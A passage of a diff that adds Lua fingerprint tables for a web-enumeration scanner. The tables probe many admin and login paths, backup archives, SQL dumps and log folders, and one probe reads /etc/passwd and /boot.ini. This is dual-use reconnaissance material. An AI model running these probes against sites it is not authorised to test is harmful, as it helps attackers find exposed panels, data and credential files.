+ method = 'HEAD'
+ },
+ {
+ path = '/moderator/login.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/administrator/login.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/moderator.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/modelsearch/index.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/panel-administracion/admin.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/adm/admloginuser.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/adm.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/adm_auth.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/administratorlogin.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/webadmin.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/webadmin/index.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/modelsearch/login.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/login.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/administrator.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/administrator/account.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminLogin.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/siteadmin/login.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin2/index.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/adm/index.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin_area/index.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/bb-admin/index.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/bb-admin/login.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/bb-admin/admin.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/siteadmin/index.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/memberadmin.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin2/login.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/admloginuser.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/admincontrol/login.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/administrator/index.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/modelsearch/admin.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/panel-administracion/index.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminarea/login.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminarea/admin.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminarea/index.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/adminLogin.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/webadmin/login.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/webadmin/admin.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/user.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/controlpanel.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/moderator/admin.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/cp.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin-login.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/admin-login.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/home.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/adm1n/',
+ method = 'HEAD'
+ },
+ {
+ path = '/4dm1n/',
+ method = 'HEAD'
+ },
+ {
+ path = '/account.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/account.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/index.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/login.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/admin.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin_area/admin.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin_area/login.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin_area/index.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/bb-admin/index.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/bb-admin/login.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/bb-admin/admin.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/home.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/controlpanel.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/pages/admin/admin-login.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/admin-login.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin-login.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/cp.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/cp.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/administrator/account.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/administrator.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/login.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/modelsearch/login.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/moderator.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/moderator/login.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/administrator/login.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/moderator/admin.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/controlpanel.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/user.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admincp/login.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admincontrol.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminpanel.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/webadmin.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/webadmin/index.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/webadmin/admin.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/webadmin/login.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/admin_login.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin_login.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/panel-administracion/login.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminLogin.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/adminLogin.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/home.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminarea/index.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminarea/admin.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminarea/login.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/panel-administracion/index.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/panel-administracion/admin.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/modelsearch/index.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/modelsearch/admin.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/administrator/index.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admincontrol/login.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/adm/admloginuser.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admloginuser.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin2.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin2/login.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin2/index.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/adm/index.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/adm.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/adm_auth.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/memberadmin.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/administratorlogin.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/siteadmin/login.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/siteadmin/index.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/account.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/account.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/index.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/login.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/admin.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin_area/admin.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin_area/login.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin_area/index.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/bb-admin/index.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/bb-admin/login.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/bb-admin/admin.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/home.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/controlpanel.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/pages/admin/admin-login.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/admin-login.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin-login.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/cp.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/cp.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/administrator/account.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/administrator.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/login.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/modelsearch/login.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/moderator.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/moderator/login.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/administrator/login.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/moderator/admin.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/controlpanel.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/user.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/admincp/index.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/admincp/login.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/admincontrol.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminpanel.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/webadmin.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/webadmin/index.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/webadmin/admin.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/webadmin/login.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/admin_login.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin_login.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/panel-administracion/login.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminLogin.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/adminLogin.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/home.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminarea/index.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminarea/admin.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminarea/login.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/panel-administracion/index.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/panel-administracion/admin.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/modelsearch/index.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/modelsearch/admin.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/administrator/index.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/admincontrol/login.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/adm/admloginuser.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/admloginuser.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin2.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin2/login.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin2/index.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/adm/index.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/adm.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/adm_auth.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/memberadmin.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/administratorlogin.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/siteadmin/login.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/siteadmin/index.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/account.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/index.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/login.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/admin.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin_area/admin.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin_area/login.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin_area/index.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/bb-admin/index.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/bb-admin/login.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/bb-admin/admin.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/home.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/controlpanel.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/pages/admin/admin-login.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/admin-login.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin-login.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/cp.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/cp.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/administrator/account.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/administrator.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/login.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/modelsearch/login.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/moderator.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/moderator/login.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/administrator/login.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/moderator/admin.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/controlpanel.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/user.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admincp/index.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admincp/login.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admincontrol.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/account.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminpanel.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/webadmin.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/webadmin/index.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/webadmin/admin.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/webadmin/login.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/admin_login.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin_login.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/panel-administracion/login.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminLogin.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/adminLogin.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/home.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminarea/index.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminarea/admin.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminarea/login.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/panel-administracion/index.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/panel-administracion/admin.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/modelsearch/index.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/modelsearch/admin.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/administrator/index.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admincontrol/login.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/adm/admloginuser.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admloginuser.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin2.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin2/login.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin2/index.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/adm/index.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/adm.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/adm_auth.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/memberadmin.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/administratorlogin.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/siteadmin/login.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/siteadmin/index.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin1.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/administr8.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/administr8.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/administr8.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/administr8.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/administr8.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/administr8/',
+ method = 'HEAD'
+ },
+ {
+ path = '/administer/',
+ method = 'HEAD'
+ },
+ {
+ path = '/administracao.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/administracao.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/administracao.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/administracao.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/administracao.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/administracion.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/administracion.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/administracion.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/administracion.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/administracion.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/administrators/',
+ method = 'HEAD'
+ },
+ {
+ path = '/adminpro/',
+ method = 'HEAD'
+ },
+ {
+ path = '/admins/',
+ method = 'HEAD'
+ },
+ {
+ path = '/admins.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/admins.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/admins.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admins.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/admins.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/maintenance/',
+ method = 'HEAD'
+ },
+ {
+ path = '/Lotus_Domino_Admin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/hpwebjetadmin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/_admin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/_administrator/',
+ method = 'HEAD'
+ },
+ {
+ path = '/_administrador/',
+ method = 'HEAD'
+ },
+ {
+ path = '/_admins/',
+ method = 'HEAD'
+ },
+ {
+ path = '/_administrators/',
+ method = 'HEAD'
+ },
+ {
+ path = '/_administradores/',
+ method = 'HEAD'
+ },
+ {
+ path = '/_administracion/',
+ method = 'HEAD'
+ },
+ {
+ path = '/_4dm1n/',
+ method = 'HEAD'
+ },
+ {
+ path = '/_adm1n/',
+ method = 'HEAD'
+ },
+ {
+ path = '/_Admin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/system_administration/',
+ method = 'HEAD'
+ },
+ {
+ path = '/system-administration/',
+ method = 'HEAD'
+ },
+ {
+ path = '/system-admin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/system-admins/',
+ method = 'HEAD'
+ },
+ {
+ path = '/system-administrators/',
+ method = 'HEAD'
+ },
+ {
+ path = '/administracion-sistema/',
+ method = 'HEAD'
+ },
+ {
+ path = '/Administracion/',
+ method = 'HEAD'
+ },
+ {
+ path = '/Admin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/Administrator/',
+ method = 'HEAD'
+ },
+ {
+ path = '/Manager/',
+ method = 'HEAD'
+ },
+ {
+ path = '/Adm/',
+ method = 'HEAD'
+ },
+ {
+ path = '/systemadmin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/AdminLogin.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/AdminLogin.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/AdminLogin.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/AdminLogin.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/AdminLogin.cfm',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin108/',
+ method = 'HEAD'
+ },
+ {
+ path = '/pec_admin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/system/admin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/plog-admin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/ESAdmin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/axis2-admin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/_sys/',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin_cp.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/sitecore/admin/',
+ method = 'HEAD'
+ },
+ {
+ path = '/sitecore/login/admin/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '<title>Index of',
+ output = 'Possible admin folder w/ directory listing'
+ },
+ {
+ output = 'Possible admin folder'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/backup/',
+ method = 'GET'
+ },
+ {
+ path = '/backup',
+ method = 'GET'
+ },
+ {
+ path = '/backup.sql',
+ method = 'GET'
+ },
+ {
+ path = '/backup.sql.gz',
+ method = 'GET'
+ },
+ {
+ path = '/backup.sql.bz2',
+ method = 'GET'
+ },
+ {
+ path = '/backup.zip',
+ method = 'GET'
+ },
+ {
+ path = '/backups/',
+ method = 'GET'
+ },
+ {
+ path = '/bak/',
+ method = 'GET'
+ },
+ {
+ path = '/back/',
+ method = 'GET'
+ },
+ {
+ path = '/cache/backup/',
+ method = 'GET'
+ },
+ {
+ path = '/admin/backup/',
+ method = 'GET'
+ },
+ {
+ path = '/dbbackup.txt',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '<title>Index of',
+ output = 'Backup folder w/ directory listing'
+ },
+ {
+ match = '',
+ output = 'Possible backup'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/b.sql',
+ method = 'HEAD'
+ },
+ {
+ path = '/db.sql',
+ method = 'HEAD'
+ },
+ {
+ path = '/ddb.sql',
+ method = 'HEAD'
+ },
+ {
+ path = '/users.sql',
+ method = 'HEAD'
+ },
+ {
+ path = '/database.sql',
+ method = 'HEAD'
+ },
+ {
+ path = '/mysql.sql',
+ method = 'HEAD'
+ },
+ {
+ path = '/dump.sql',
+ method = 'HEAD'
+ },
+ {
+ path = '/respaldo.sql',
+ method = 'HEAD'
+ },
+ {
+ path = '/data.sql',
+ method = 'HEAD'
+ },
+ {
+ path = '/old.sql',
+ method = 'HEAD'
+ },
+ {
+ path = '/usuarios.sql',
+ method = 'HEAD'
+ },
+ {
+ path = '/bdb.sql',
+ method = 'HEAD'
+ },
+ {
+ path = '/1.sql',
+ method = 'HEAD'
+ },
+ {
+ path = '/admin/download/backup.sql',
+ method = 'HEAD'
+ }
+
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Possible database backup'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/clientaccesspolicy.xml',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ output = 'Microsoft Silverlight crossdomain policy'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/atom/',
+ method = 'HEAD'
+ },
+ {
+ path = '/atom.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/atom.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/atom.xml',
+ method = 'HEAD'
+ },
+ {
+ path = '/atom.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/rss/',
+ method = 'HEAD'
+ },
+ {
+ path = '/rss.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/rss.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/rss.xml',
+ method = 'HEAD'
+ },
+ {
+ path = '/rss.jsp',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ output = 'RSS or Atom feed'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/etc/passwd',
+ method = 'GET'
+ },
+ {
+ path = '/boot.ini',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = 'root:',
+ output = 'Webroot appears to be in / (Linux)'
+ },
+ {
+ match = 'boot loader',
+ output = 'Webroot appears to be in c:\\ (Windows)'
+ },
+ {
+ match = '',
+ output = 'Webroot might be in root folder'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/example/',
+ method = 'GET'
+ },
+ {
+ path = '/examples/',
+ method = 'GET'
+ },
+ {
+ path = '/iissamples/',
+ method = 'GET'
+ },
+ {
+ path = '/j2eeexamples/',
+ method = 'GET'
+ },
+ {
+ path = '/j2eeexamplesjsp/',
+ method = 'GET'
+ },
+ {
+ path = '/sample/',
+ method = 'GET'
+ },
+ {
+ path = '/ncsample/',
+ method = 'GET'
+ },
+ {
+ path = '/fpsample/',
+ method = 'GET'
+ },
+ {
+ path = '/cmsample/',
+ method = 'GET'
+ },
+ {
+ path = '/samples/',
+ method = 'GET'
+ },
+ {
+ path = '/mono/1.1/index.aspx',
+ method = 'GET'
+ }
+ },
+ matches = {
+ {
+ match = '<title>Index of .*(Apache.*) Server at',
+ output = 'Sample scripts w/ listing on \'\\1\''
+ },
+ {
+ match = '<title>Index of',
+ output = 'Sample scripts w/ directory listing'
+ },
+ {
+ match = '',
+ output = 'Sample scripts'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/login/',
+ method = 'HEAD'
+ },
+ {
+ path = '/login.htm',
+ method = 'HEAD'
+ },
+ {
+ path = '/login.jsp',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Login page'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/test.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/test.class',
+ method = 'HEAD'
+ },
+ {
+ path = '/test/',
+ method = 'HEAD'
+ },
+ {
+ path = '/test.htm',
+ method = 'HEAD'
+ },
+ {
+ path = '/test.html',
+ method = 'HEAD'
+ },
+ {
+ path = '/test.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/test.txt',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Test page'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/webmail/',
+ method = 'HEAD'
+ },
+ {
+ path = '/mail/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Mail folder'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/log/',
+ method = 'HEAD'
+ },
+ {
+ path = '/log.htm',
+ method = 'HEAD'
+ },
+ {
+ path = '/log.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/log.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/log.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/log.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/logs/',
+ method = 'HEAD'
+ },
+ {
+ path = '/logs.htm',
+ method = 'HEAD'
+ },
+ {
+ path = '/logs.php',
+ method = 'HEAD'
+ },
+ {
+ path = '/logs.asp',
+ method = 'HEAD'
+ },
+ {
+ path = '/logs.aspx',
+ method = 'HEAD'
+ },
+ {
+ path = '/logs.jsp',
+ method = 'HEAD'
+ },
+ {
+ path = '/wwwlog/',
+ method = 'HEAD'
+ },
+ {
+ path = '/wwwlogs/',
+ method = 'HEAD'
+ },
+ {
+ path = '/mail_log_files/',
+ method = 'HEAD'
+ }
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Logs'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/images/rails.png',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Ruby on Rails'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/mono/',
+ method = 'HEAD'
+ },
+ },
+
+ matches = {
+ {
+ match = '',
+ output = 'Mono'
+ }
+ }
+ });
+
+table.insert(fingerprints, {
+ category = 'general',
+ probes = {
+ {
+ path = '/robots.txt',
+ method = 'HEAD'
+ },
+ },
+ matches = {
+ {
+ match = '',
+ output = 'Robots file'
+ }
+ }
+ });
+
